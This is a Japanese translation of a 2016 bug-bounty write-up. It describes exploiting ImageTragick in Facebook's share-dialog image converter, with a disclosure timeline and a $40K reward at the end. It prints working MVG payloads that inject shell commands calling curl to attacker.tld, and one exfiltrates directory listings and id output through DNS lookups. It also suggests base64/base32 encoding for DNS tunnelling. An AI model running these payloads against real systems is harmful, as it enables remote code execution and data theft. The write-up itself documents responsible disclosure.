みなさんこんにちは！ はい、2年11か月6日前に新しい脆弱性について話すことを
約束しました 。 しかし、時間が経つにつれて、彼らは面白くないか、特別なサービスの機密解除されたドキュメントに似たスクリーンショットの助けを借りてそれらについて話す必要があることが明らかになりました-いくつかの無意味な言葉と黒い長方形の束。 しかし、時が来ました。
ImageMagickとその
悲劇について、みなさんは聞いたことがあると思います。 この脆弱性は2016年4月末に発見されました。多くの画像処理プラグインがImageMagickライブラリを使用しているため、この問題は多数のシステムを対象としていました。 この脆弱性に関する情報は、2016年5月3日に、それを発見した研究者とImageMagick開発者だけでなく、第三者にも利用可能であるという証拠があったため、脆弱性情報（PoCなし）が全世界に公開されました。 多くの研究者がこの情報を利用して、時間どおりに更新されなかったアプリケーションの脆弱性を発見しました。 残念ながら、私はこれらの幸運な人の中にはいませんでした。 しかし、それは5月でした:)
土曜日に一度、窓の外は10月にサンクトペテルブルクだったので、Facebookではなく、すばらしいサービスをテストしました。 しかし、リダイレクトの1つは私をそれに連れてきました-「Facebookで共有」ダイアログでした：
https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H
この対話は多くの人に見られます。 よく見ると、
`picture`パラメータが画像へのリンクであることが
わかります。 しかし、ページのコンテンツにはそのような画像はありません。 例：
https://www.google.com/images/errors/robot.png
次のようになります。
https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb
私が最初に考えたのは、
何らかの形での
SSRFの脆弱性でした。 しかし、テストでは、このパラメーターのURLが13.13.97のサブネットから要求されていることが示されました。*ユーザーエージェント
facebookexternalhit / 1.1を使用 。 例：
$ nc -lvvv 8088 Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted GET /exploit.png?ddfadsvdbv HTTP/1.1 User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php) Accept: */* Accept-Encoding: deflate, gzip Host: attacker.tld Connection: keep-alive
そして、これはすべて、このために特別に設計された、分離されたサブネットからの通常のリクエストのように見えます。
しかし、いずれにせよ、アプリケーションは何らかのコンバーターで画像変換を実行し、私はこの方向で掘り始めました。 いくつかのテストの後（私が多くのお金をもたらした私のお気に入りの1つは、変換を実行するサーバーから
SSRFを取得するために、実際にはXMLファイルであるSVGイメージを解析および変換することです。画像が要求された、または私が本当に幸運だった場合、
XXEを取得
する ）私は非常に怒っていました。 どれも機能しませんでした。
ImageTragickは最後の希望でした。 すでに希望はありませんでしたが。 脆弱性とその悪用の詳細にあまり精通していない場合、または怠けている場合は、既製の
PoCを見つけることができます。
これは、最も単純なexploit.png
ペイロードがどのように見えるかです：
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`' pop graphic-context
ドラムロール...そして何も起こりませんでした：
$ nc -lvvv 80
フェイスパームとオーケー。
「でも、もしこれらが単なるファイアウォールの制限である場合はどうでしょうか？」 私は自問しました。
わかった これは、企業が通常のhttpリクエストをブロックするが、DNSリクエストをブロックしない場合に非常に頻繁に発生します。 さて、別のペイロードを試してください：
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`' pop graphic-context
この場合、攻撃者はDNSサーバーを使用してリクエストのログを自分に書き込むことに注意してください。 その結果、次のようになります。
IP：31.13。*。*; ネット名：LLA1-11
NAME：record_under_attacker_controled_ns_server.attacker.tld、タイプ：A
Whois IPから次のことがわかります。
netname: LLA1-11 descr: Facebook
パーティーが始まります:)したがって、アプリケーションは次のように機能します。
- `picture`パラメータを取得してリクエストします-これは有効なリクエストであり、脆弱性はありません
- 結果の画像は、ImageMagickライブラリの脆弱なバージョンを使用したコンバーターに送信されます
正直に言うと、このhttp-requestを操作する通常の方法を見つけようとしましたが、クイックテストにより、すべての発信ポートが閉じられているか、少なくとも1つの開いているポートを見つけるのに時間がかかりすぎていることがわかりました。 そして、私は他の方法で行った、それは動作を確認するのに十分でした。
ペイロード：
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`' pop graphic-context
結果：
NAME: home.attacker.tld, Type: A NAME: boot.attacker.tld, Type: 28 NAME: dev.attacker.tld, Type: 28 NAME: bin.attacker.tld, Type: A … …
など...
bashの
`id`コマンドが返されました：
NAME: uid=99(nobody).attacker.tld., Type: 28 NAME: groups=99(nobody).attacker.tld., Type: A NAME: gid=99(nobody).attacker.tld., Type: A
エクスプロイトが機能することを確認するために、コマンド
`cat / proc / version`の出力をFacebookセキュリティチームに
送信しましたが、ここでは表示しません。
Facebookの責任ある普及ポリシーに従って
、私はこれ以上深く掘り下げていません。
レポートを提出した後、FacebookセキュリティチームのNeilと私は、
「cat / proc / version | base64`はDNSクエリにとってはるかに便利である可能性があり、より詳細な調査により、base32は通常DNSトンネリング技術で使用されることが示されています（詳細は
https://www.sans.org/reading-room/whitepapers/dns/detecting- dns-tunneling-34152 ）。
Facebookをハッキングした人の一人になれたことを嬉しく思います。
それだけです:)
タイムライン：
2016年10月16日午前3時31分：最初の報告
2016年10月18日午後5時35分：セキュリティチームのニールは、調査中に使用したPoCをリクエストしました
2016年10月18日08:40 pm：PoCを送信し、追加情報を添付しました
2016年10月18日、午後10時31分：ニールが脆弱性を確認
2016年10月19日12:26 am：ニールは修正が計算中であることを通知します
2016年10月19日2:28 am：ニールは脆弱性が修正されたことを報告します
2016年10月19日7:49 am：脆弱性が修正されたことを確認し、開示手順を要求しました
2016年10月22日03:34 am：ニールは開示の手順と時間について回答しました
2016年10月28日午後3時4分：割り当てられた報酬（$ 40K）
2016年12月16日：開示は許可されています。